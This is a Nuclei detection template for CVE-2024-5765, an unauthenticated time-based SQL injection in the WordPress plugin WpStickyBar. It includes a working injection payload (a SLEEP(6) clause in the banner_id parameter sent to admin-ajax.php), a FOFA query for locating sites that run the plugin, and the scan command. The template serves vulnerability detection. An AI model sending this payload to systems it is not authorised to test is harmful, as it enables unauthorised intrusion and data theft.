WpStickyBar <= 2.1.0 - SQL Injection

ID: CVE-2024-5765

Severity: high

Author: theamanrawat

Tags: time-based-sqli,cve,cve2024,sqli,wpscan,wordpress,wp-plugin,wp,wpstickybar,unauth

Description

The plugin does not properly sanitise and escape a parameter before using it in a SQL statement via an AJAX action available to unauthenticated users, leading to a SQL injection

YAML Source

id: CVE-2024-5765

info:
  name: WpStickyBar <= 2.1.0 - SQL Injection
  author: theamanrawat
  severity: high
  description: |
    The plugin does not properly sanitise and escape a parameter before using it in a SQL statement via an AJAX action available to unauthenticated users, leading to a SQL injection
  reference:
    - https://wpscan.com/vulnerability/0b73f84c-611e-4681-b362-35e721478ba4/
    - https://wordpress.org/plugins/wpstickybar-sticky-bar-sticky-header/
    - https://nvd.nist.gov/vuln/detail/CVE-2024-5765
  classification:
    cve-id: CVE-2024-5765
    cwe-id: CWE-89
  metadata:
    max-request: 2
    verified: true
    fofa-query: body="/plugins/wpstickybar-sticky-bar-sticky-header"
  tags: time-based-sqli,cve,cve2024,sqli,wpscan,wordpress,wp-plugin,wp,wpstickybar,unauth

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    redirects: true
    max-redirects: 2
    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "/plugins/wpstickybar-sticky-bar-sticky-header")'
        internal: true

  - raw:
      - |
        @timeout: 15s
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=stickybar_display&banner_id=1%20AND%20SLEEP(6);

    matchers:
      - type: dsl
        dsl:
          - 'duration>=6'
          - 'status_code == 200'
          - 'contains(content_type, "text/html")'
        condition: and
# digest: 4a0a00473045022100f9574846f45a9f40e033c9bf45f55e290fbc84d2d03e8634932bb6671259dc1e022002dad2f958ef76be01c839c17c9a0f60d4f676eedd6653e8e30c18c8a6166d54:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2024/CVE-2024-5765.yaml"

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